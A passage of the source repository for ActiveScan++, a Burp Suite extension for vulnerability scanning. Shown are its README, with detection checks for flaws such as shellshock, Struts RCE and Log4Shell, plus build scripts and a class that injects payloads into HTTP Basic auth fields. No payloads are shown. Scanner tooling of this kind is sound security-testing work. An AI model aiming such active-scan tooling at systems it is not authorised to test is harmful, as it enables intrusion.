├── .gitignore ├── BappDescription.html ├── BappManifest.bmf ├── LICENSE ├── README.md ├── build.gradle ├── bulkScan-all.jar ├── gradle └── wrapper │ ├── gradle-wrapper.jar │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat └── src └── burp ├── BasicAuthInsertionPointProvider.java ├── BurpExtender.java ├── CodeExec.java ├── CustomScanIssue.java ├── EdgeSideInclude.java ├── JetLeak.java ├── OldUtilities.java ├── PerHostScans.java ├── PerRequestScans.java ├── SimpleFuzz.java ├── SolrScan.java ├── Struts201712611Scan.java ├── SuspectTransform.java ├── Tester.java └── XMLScan.java /.gitignore: -------------------------------------------------------------------------------- 1 | .gradle 2 | build/ 3 | !gradle/wrapper/gradle-wrapper.jar 4 | !**/src/main/**/build/ 5 | !**/src/test/**/build/ 6 | 7 | ### IntelliJ IDEA ### 8 | .idea/modules.xml 9 | .idea/jarRepositories.xml 10 | .idea/compiler.xml 11 | .idea/libraries/ 12 | *.iws 13 | *.iml 14 | *.ipr 15 | out/ 16 | !**/src/main/**/out/ 17 | !**/src/test/**/out/ 18 | 19 | ### Eclipse ### 20 | .apt_generated 21 | .classpath 22 | .factorypath 23 | .project 24 | .settings 25 | .springBeans 26 | .sts4-cache 27 | bin/ 28 | !**/src/main/**/bin/ 29 | !**/src/test/**/bin/ 30 | 31 | ### NetBeans ### 32 | /nbproject/private/ 33 | /nbbuild/ 34 | /dist/ 35 | /nbdist/ 36 | /.nb-gradle/ 37 | 38 | ### VS Code ### 39 | .vscode/ 40 | 41 | ### Mac OS ### 42 | .DS_Store -------------------------------------------------------------------------------- /BappDescription.html: -------------------------------------------------------------------------------- 1 |

ActiveScan++ extends Burp Suite's active and passive scanning capabilities. 2 | Designed to add minimal network overhead, it identifies application behaviour that may be of interest to advanced testers:

3 | 4 | 11 | 12 |

It also adds checks for the following issues:

13 | 14 | 18 | 19 |

It also provides insertion points for HTTP basic authentication.

20 | 21 |

To invoke these checks, just run a normal active scan.

22 | 23 |

The host header checks tamper with the host header, which may result in requests being routed to different applications on the same host. 24 | Exercise caution when running this scanner against applications in a shared hosting environment.

25 | 26 |

Copyright © 2014-2025 PortSwigger Ltd.

27 | -------------------------------------------------------------------------------- /BappManifest.bmf: -------------------------------------------------------------------------------- 1 | Uuid: 3123d5b5f25c4128894d97ea1acc4976 2 | ExtensionType: 1 3 | Name: Active Scan++ 4 | RepoName: active-scan-plus-plus 5 | ScreenVersion: 2.0.6 6 | SerialVersion: 44 7 | MinPlatformVersion: 19 8 | ProOnly: True 9 | Author: James Kettle, PortSwigger 10 | ShortDescription: Extends Burp's active and passive scanning capabilities. 11 | EntryPoint: active-scan-plus-plus-all.jar 12 | BuildCommand: ./gradlew fatJar 13 | SupportedProducts: Pro, Enterprise 14 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "{}" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright 2014 Context Information Security 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ActiveScan++ 2 | ================== 3 | 4 | ActiveScan++ extends Burp Suite's active and passive scanning capabilities. Designed to add minimal network overhead, it identifies application behaviour that may be of interest to advanced testers: 5 | 6 | - Potential host header attacks (password reset poisoning, cache poisoning, DNS rebinding) 7 | - Edge Side Includes 8 | - XML input handling 9 | - Suspicious input transformation (eg 7*7 => '49', \\\\ => '\\' ) 10 | - Passive-scanner issues that only occur during fuzzing (install the 'Error Message Checks' extension for maximum effectiveness) 11 | 12 | It also adds checks for the following issues: 13 | 14 | - Blind code injection via expression language, Ruby's open() and Perl's open() 15 | - CVE-2014-6271/CVE-2014-6278 'shellshock' and CVE-2015-2080, CVE-2017-5638, CVE-2017-12629, CVE-2018-11776, etc 16 | 17 | #### Requirements: 18 | Burp Suite Professional or Enterprise (latest stable version) 19 | 20 | #### Manual installation: 21 | 22 | 1. 'Extensions'->'Installed'->'Add 23 | 2. Click 'Select file' 24 | 3. Choose build/libs/active-scan-plus-plus-all.jar 25 | 26 | #### Usage notes: 27 | To invoke these checks, just run a normal active scan. 28 | 29 | #### Changelog: 30 | **2.0.3 20250123** 31 | - Unicode processing issues (refer to [Bypassing character blocklists with unicode overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)) 32 | 33 | **2.0.1 20241210** 34 | - Resolve some long-standing false positives 35 | 36 | **2.0.0 20241202** 37 | - Rewrite in Java! 38 | 39 | **1.0.24 20230801** 40 | - Devise (no CVE, refer to [Smashing the State Machine](https://portswigger.net/research/smashing-the-state-machine)) 41 | 42 | **1.0.23 20211210** 43 | - Log4Shell (CVE-2021-44228) 44 | 45 | **1.0.22 20210325** 46 | - Detect interesting OAuth endpoints. 47 | - For further details, please refer to [Hidden OAuth Attack Vectors](https://portswigger.net/research/hidden-oauth-attack-vectors) 48 | 49 | **1.0.21 20190322** 50 | - Detect Rails file disclosure (CVE-2019-5418) 51 | 52 | **1.0.20 20180903** 53 | - Detect new Struts RCE (CVE-2018-11776) 54 | 55 | **1.0.19 20180815** 56 | - Detect Razor template injection with @(7*7) 57 | 58 | **1.0.18 20180804** 59 | - Try converting requests to XML for XXE 60 | - Detect CVE-2017-12611, CVE-2017-9805 61 | - Improve robustness 62 | 63 | **1.0.17 20180411** 64 | - Detect interesting files: /.git/config and /server-status 65 | - This can be easily extended with your own checks 66 | 67 | **1.0.16 20180404** 68 | - Detect Edge Side Includes 69 | 70 | **1.0.15 20171026** 71 | - Detect RCE via Solr/Lucene injection using XXE - [CVE-2017-12629](https://mail-archives.apache.org/mod_mbox/lucene-dev/201710.mbox/%3CCAJEmKoC%2BeQdP-E6BKBVDaR_43fRs1A-hOLO3JYuemmUcr1R%2BTA%40mail.gmail.com%3E) 72 | 73 | **1.0.14 20170309** 74 | - Detect the latest Struts2 RCE - CVE-2017-5638 / S2-045 75 | 76 | **1.0.13 20160411** 77 | - Detect shell command injection via Perl open() calls 78 | - Fix bug that reduced efficiency by creating useless insertion points 79 | - Sadly remove the 'NullPointerException' feature 80 | - Fix bug that caused passive scanner issues to appear on HTTP instead of HTTPS 81 | - Reduce time-delay based check false positives 82 | 83 | **1.0.12 - 20151118** 84 | - Trigger a fresh passive scan when an alternative code path is identified (combines well with the 'Error Message Checks' extension) 85 | 86 | **1.0.11 - 20150327** 87 | - Detect misc code injection via suspicious input transformation (eg \x41->A) 88 | - Report when applications appear to handle XML input 89 | - Set Connection: close on outgoing requests for speed 90 | 91 | **1.0.10 - 20150327** 92 | - Add test for ruby open() exploit - see http://sakurity.com/blog/2015/02/28/openuri.html 93 | - Assorted minor tweaks and fixes 94 | 95 | **1.0.9 - 20150225** 96 | - Add tentative test for CVE-2015-2080 97 | - Remove dynamic code injection and RPO checks - these are now implemented in core Burp 98 | - Provide a useful error message when someone foolishly tries using Jython 2.7 beta 99 | 100 | **1.0.8 - 20141001** 101 | - Add tentative test for CVE-2014-6278 102 | 103 | **1.0.7 - 20140926** 104 | - Tweak test for CVE-2014-6271 for better coverage 105 | 106 | **1.0.6 - 20140925** 107 | - Add a test for CVE-2014-6271 108 | 109 | **1.0.5 - 20140708** 110 | - Add compatibility for Jython 2.5 (stable) 111 | - Improve cache poisoning detection 112 | - Add a cachebust parameter to prevent accidental cache poisoning 113 | - Misc. bugfixes 114 | 115 | **1.0.4 - 20140616** 116 | - Prevent RPO false positives by checking page's DOCTYPE 117 | - Reduce host header poisoning false negatives 118 | 119 | **1.0.3 - 20140523** 120 | - Prevent duplicate issues when saving/restoring state 121 | - Refactor: the passive scanner is now almost extensible 122 | - Improve expression language injection detection 123 | - Improve RPO regex 124 | 125 | **1.0.2 - 20140424** 126 | - Thread safety related bugfixes 127 | 128 | **1.0.1 - 20140422** 129 | - Minor bugfixes 130 | 131 | **1.0:** 132 | - Release 133 | -------------------------------------------------------------------------------- /build.gradle: -------------------------------------------------------------------------------- 1 | apply plugin: 'java' 2 | 3 | sourceCompatibility = 21 4 | targetCompatibility = 21 5 | 6 | repositories { 7 | mavenCentral() 8 | } 9 | 10 | dependencies { 11 | //compile 'net.portswigger.burp.extender:burp-extender-api:1.7.13' 12 | implementation 'org.apache.commons:commons-text:1.9' 13 | implementation files('bulkScan-all.jar') // this contains albinowaxUtils 14 | } 15 | 16 | sourceSets { 17 | main { 18 | java { 19 | srcDir 'src' 20 | } 21 | resources { 22 | srcDir 'resources' 23 | } 24 | } 25 | } 26 | 27 | archivesBaseName = ('active-scan-plus-plus-all') 28 | 29 | task fatJar(type: Jar) { 30 | duplicatesStrategy = DuplicatesStrategy.INCLUDE 31 | from { configurations.compileClasspath.collect { it.isDirectory() ? it : zipTree(it) } } 32 | with jar 33 | } -------------------------------------------------------------------------------- /bulkScan-all.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PortSwigger/active-scan-plus-plus/de36e31026cd1afea4898b5f17b01c0ba55e4b8d/bulkScan-all.jar -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/PortSwigger/active-scan-plus-plus/de36e31026cd1afea4898b5f17b01c0ba55e4b8d/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionBase=GRADLE_USER_HOME 2 | distributionPath=wrapper/dists 3 | distributionUrl=https\://services.gradle.org/distributions/gradle-8.9-bin.zip 4 | zipStoreBase=GRADLE_USER_HOME 5 | zipStorePath=wrapper/dists 6 | -------------------------------------------------------------------------------- /gradlew: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sh 2 | 3 | # 4 | # Copyright 2015 the original author or authors. 5 | # 6 | # Licensed under the Apache License, Version 2.0 (the "License"); 7 | # you may not use this file except in compliance with the License. 8 | # You may obtain a copy of the License at 9 | # 10 | # https://www.apache.org/licenses/LICENSE-2.0 11 | # 12 | # Unless required by applicable law or agreed to in writing, software 13 | # distributed under the License is distributed on an "AS IS" BASIS, 14 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 15 | # See the License for the specific language governing permissions and 16 | # limitations under the License. 17 | # 18 | 19 | ############################################################################## 20 | ## 21 | ## Gradle start up script for UN*X 22 | ## 23 | ############################################################################## 24 | 25 | # Attempt to set APP_HOME 26 | # Resolve links: $0 may be a link 27 | PRG="$0" 28 | # Need this for relative symlinks. 29 | while [ -h "$PRG" ] ; do 30 | ls=`ls -ld "$PRG"` 31 | link=`expr "$ls" : '.*-> \(.*\)$'` 32 | if expr "$link" : '/.*' > /dev/null; then 33 | PRG="$link" 34 | else 35 | PRG=`dirname "$PRG"`"/$link" 36 | fi 37 | done 38 | SAVED="`pwd`" 39 | cd "`dirname \"$PRG\"`/" >/dev/null 40 | APP_HOME="`pwd -P`" 41 | cd "$SAVED" >/dev/null 42 | 43 | APP_NAME="Gradle" 44 | APP_BASE_NAME=`basename "$0"` 45 | 46 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 47 | DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' 48 | 49 | # Use the maximum available, or set MAX_FD != -1 to use that value. 50 | MAX_FD="maximum" 51 | 52 | warn () { 53 | echo "$*" 54 | } 55 | 56 | die () { 57 | echo 58 | echo "$*" 59 | echo 60 | exit 1 61 | } 62 | 63 | # OS specific support (must be 'true' or 'false'). 64 | cygwin=false 65 | msys=false 66 | darwin=false 67 | nonstop=false 68 | case "`uname`" in 69 | CYGWIN* ) 70 | cygwin=true 71 | ;; 72 | Darwin* ) 73 | darwin=true 74 | ;; 75 | MINGW* ) 76 | msys=true 77 | ;; 78 | NONSTOP* ) 79 | nonstop=true 80 | ;; 81 | esac 82 | 83 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar 84 | 85 | 86 | # Determine the Java command to use to start the JVM. 87 | if [ -n "$JAVA_HOME" ] ; then 88 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then 89 | # IBM's JDK on AIX uses strange locations for the executables 90 | JAVACMD="$JAVA_HOME/jre/sh/java" 91 | else 92 | JAVACMD="$JAVA_HOME/bin/java" 93 | fi 94 | if [ ! -x "$JAVACMD" ] ; then 95 | die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME 96 | 97 | Please set the JAVA_HOME variable in your environment to match the 98 | location of your Java installation." 99 | fi 100 | else 101 | JAVACMD="java" 102 | which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 103 | 104 | Please set the JAVA_HOME variable in your environment to match the 105 | location of your Java installation." 106 | fi 107 | 108 | # Increase the maximum file descriptors if we can. 109 | if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then 110 | MAX_FD_LIMIT=`ulimit -H -n` 111 | if [ $? -eq 0 ] ; then 112 | if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then 113 | MAX_FD="$MAX_FD_LIMIT" 114 | fi 115 | ulimit -n $MAX_FD 116 | if [ $? -ne 0 ] ; then 117 | warn "Could not set maximum file descriptor limit: $MAX_FD" 118 | fi 119 | else 120 | warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT" 121 | fi 122 | fi 123 | 124 | # For Darwin, add options to specify how the application appears in the dock 125 | if $darwin; then 126 | GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\"" 127 | fi 128 | 129 | # For Cygwin or MSYS, switch paths to Windows format before running java 130 | if [ "$cygwin" = "true" -o "$msys" = "true" ] ; then 131 | APP_HOME=`cygpath --path --mixed "$APP_HOME"` 132 | CLASSPATH=`cygpath --path --mixed "$CLASSPATH"` 133 | 134 | JAVACMD=`cygpath --unix "$JAVACMD"` 135 | 136 | # We build the pattern for arguments to be converted via cygpath 137 | ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null` 138 | SEP="" 139 | for dir in $ROOTDIRSRAW ; do 140 | ROOTDIRS="$ROOTDIRS$SEP$dir" 141 | SEP="|" 142 | done 143 | OURCYGPATTERN="(^($ROOTDIRS))" 144 | # Add a user-defined pattern to the cygpath arguments 145 | if [ "$GRADLE_CYGPATTERN" != "" ] ; then 146 | OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)" 147 | fi 148 | # Now convert the arguments - kludge to limit ourselves to /bin/sh 149 | i=0 150 | for arg in "$@" ; do 151 | CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -` 152 | CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option 153 | 154 | if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition 155 | eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"` 156 | else 157 | eval `echo args$i`="\"$arg\"" 158 | fi 159 | i=`expr $i + 1` 160 | done 161 | case $i in 162 | 0) set -- ;; 163 | 1) set -- "$args0" ;; 164 | 2) set -- "$args0" "$args1" ;; 165 | 3) set -- "$args0" "$args1" "$args2" ;; 166 | 4) set -- "$args0" "$args1" "$args2" "$args3" ;; 167 | 5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;; 168 | 6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;; 169 | 7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;; 170 | 8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;; 171 | 9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;; 172 | esac 173 | fi 174 | 175 | # Escape application args 176 | save () { 177 | for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done 178 | echo " " 179 | } 180 | APP_ARGS=`save "$@"` 181 | 182 | # Collect all arguments for the java command, following the shell quoting and substitution rules 183 | eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS" 184 | 185 | exec "$JAVACMD" "$@" 186 | -------------------------------------------------------------------------------- /gradlew.bat: -------------------------------------------------------------------------------- 1 | @rem 2 | @rem Copyright 2015 the original author or authors. 3 | @rem 4 | @rem Licensed under the Apache License, Version 2.0 (the "License"); 5 | @rem you may not use this file except in compliance with the License. 6 | @rem You may obtain a copy of the License at 7 | @rem 8 | @rem https://www.apache.org/licenses/LICENSE-2.0 9 | @rem 10 | @rem Unless required by applicable law or agreed to in writing, software 11 | @rem distributed under the License is distributed on an "AS IS" BASIS, 12 | @rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | @rem See the License for the specific language governing permissions and 14 | @rem limitations under the License. 15 | @rem 16 | 17 | @if "%DEBUG%" == "" @echo off 18 | @rem ########################################################################## 19 | @rem 20 | @rem Gradle startup script for Windows 21 | @rem 22 | @rem ########################################################################## 23 | 24 | @rem Set local scope for the variables with windows NT shell 25 | if "%OS%"=="Windows_NT" setlocal 26 | 27 | set DIRNAME=%~dp0 28 | if "%DIRNAME%" == "" set DIRNAME=. 29 | set APP_BASE_NAME=%~n0 30 | set APP_HOME=%DIRNAME% 31 | 32 | @rem Resolve any "." and ".." in APP_HOME to make it shorter. 33 | for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi 34 | 35 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 36 | set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" 37 | 38 | @rem Find java.exe 39 | if defined JAVA_HOME goto findJavaFromJavaHome 40 | 41 | set JAVA_EXE=java.exe 42 | %JAVA_EXE% -version >NUL 2>&1 43 | if "%ERRORLEVEL%" == "0" goto execute 44 | 45 | echo. 46 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 47 | echo. 48 | echo Please set the JAVA_HOME variable in your environment to match the 49 | echo location of your Java installation. 50 | 51 | goto fail 52 | 53 | :findJavaFromJavaHome 54 | set JAVA_HOME=%JAVA_HOME:"=% 55 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe 56 | 57 | if exist "%JAVA_EXE%" goto execute 58 | 59 | echo. 60 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 61 | echo. 62 | echo Please set the JAVA_HOME variable in your environment to match the 63 | echo location of your Java installation. 64 | 65 | goto fail 66 | 67 | :execute 68 | @rem Setup the command line 69 | 70 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar 71 | 72 | 73 | @rem Execute Gradle 74 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* 75 | 76 | :end 77 | @rem End local scope for the variables with windows NT shell 78 | if "%ERRORLEVEL%"=="0" goto mainEnd 79 | 80 | :fail 81 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of 82 | rem the _cmd.exe /c_ return code! 83 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 84 | exit /b 1 85 | 86 | :mainEnd 87 | if "%OS%"=="Windows_NT" endlocal 88 | 89 | :omega 90 | -------------------------------------------------------------------------------- /src/burp/BasicAuthInsertionPointProvider.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | import burp.IScannerInsertionPoint; 3 | 4 | import java.util.Base64; 5 | import java.util.regex.Matcher; 6 | import java.util.regex.Pattern; 7 | 8 | public class BasicAuthInsertionPointProvider implements IScannerInsertionPoint { 9 | private String baseRequest; 10 | private int position; 11 | private String baseBlob; 12 | private String[] baseValues; 13 | private int baseOffset; 14 | 15 | public BasicAuthInsertionPointProvider(byte[] baseRequest, int position) { 16 | this.baseRequest = new String(baseRequest); 17 | this.position = position; 18 | 19 | Pattern pattern = Pattern.compile("^Authorization: Basic (.*)$", Pattern.MULTILINE); 20 | Matcher matcher = pattern.matcher(this.baseRequest); 21 | if (matcher.find()) { 22 | baseBlob = matcher.group(1); 23 | } else { 24 | throw new IllegalArgumentException("Authorization header not found"); 25 | } 26 | 27 | String decodedBlob = new String(Base64.getDecoder().decode(baseBlob)); 28 | baseValues = decodedBlob.split(":"); 29 | baseOffset = this.baseRequest.indexOf(baseBlob); 30 | } 31 | 32 | @Override 33 | public String getInsertionPointName() { 34 | return "BasicAuth" + (position == 0 ? "UserName" : "Password"); 35 | } 36 | 37 | @Override 38 | public String getBaseValue() { 39 | return baseValues[position]; 40 | } 41 | 42 | private String makeBlob(byte[] payload) { 43 | String[] values = baseValues.clone(); 44 | values[position] = new String(payload); 45 | return Base64.getEncoder().encodeToString(String.join(":", values).getBytes()); 46 | } 47 | 48 | @Override 49 | public byte[] buildRequest(byte[] payload) { 50 | String newBlob = makeBlob(payload); 51 | return baseRequest.replace(baseBlob, newBlob).getBytes(); 52 | } 53 | 54 | @Override 55 | public int[] getPayloadOffsets(byte[] payload) { 56 | String newBlob = makeBlob(payload); 57 | return new int[]{baseOffset, baseOffset + newBlob.length()}; 58 | } 59 | 60 | @Override 61 | public byte getInsertionPointType() { 62 | return IScannerInsertionPoint.INS_EXTENSION_PROVIDED; 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /src/burp/BurpExtender.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import burp.api.montoya.BurpExtension; 4 | import burp.api.montoya.MontoyaApi; 5 | import burp.api.montoya.core.BurpSuiteEdition; 6 | 7 | import java.lang.reflect.InvocationTargetException; 8 | import java.nio.charset.Charset; 9 | 10 | import java.util.HashMap; 11 | import java.util.concurrent.ConcurrentHashMap; 12 | 13 | public class BurpExtender implements IBurpExtender, IExtensionStateListener, BurpExtension { 14 | private static final 